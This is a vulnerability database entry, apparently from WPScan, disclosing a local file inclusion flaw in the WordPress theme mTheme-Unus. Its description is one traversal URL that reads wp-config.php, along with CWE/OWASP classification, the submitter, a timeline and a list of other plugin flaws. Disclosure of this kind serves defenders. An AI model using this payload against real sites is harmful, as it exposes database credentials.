Themes Vulnerabilities

mTheme-Unus Theme - Local File Inclusion (LFI)

Description

http://www.example.com/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php

Affects Themes

mTheme-Unus
No known fix

References

URL
https://packetstormsecurity.com/files/#133778/

Classification

Type
LFI
OWASP top 10
A1: Injection
CWE
CWE-22

Miscellaneous

Submitter
Ryan Dewhurst
Submitter twitter
ethicalhack3r
Verified
No
WPVDB ID
bc036ee3-9648-49db-ae52-3a58fdeb82eb

Timeline

Publicly Published
2015-09-30 (about 10 years ago)
Added
2018-11-13 (about 7 years ago)
Last Updated
2019-11-01 (about 6 years ago)

Other

Published
Title
Published
2024-12-03
Title
Classic Addons – WPBakery Page Builder < 3.1 - Authenticated (Contributor+) Limited Local PHP File Inclusion
Published
2025-08-25
Title
UPC/EAN/GTIN Code Generator < 2.0.3 - Authenticated (Subscriber+) Arbitrary File Deletion
Published
2024-01-26
Title
Backuply – Backup, Restore, Migrate and Clone < 1.2.4 - Admin+ Directory Traversal
Published
2014-08-01
Title
Lytebox - Local File Inclusion
Published
2025-03-05
Title
Moving Media Library < 1.23 - Authenticated (Administrator+) Directory Traversal to Arbitrary File Deletion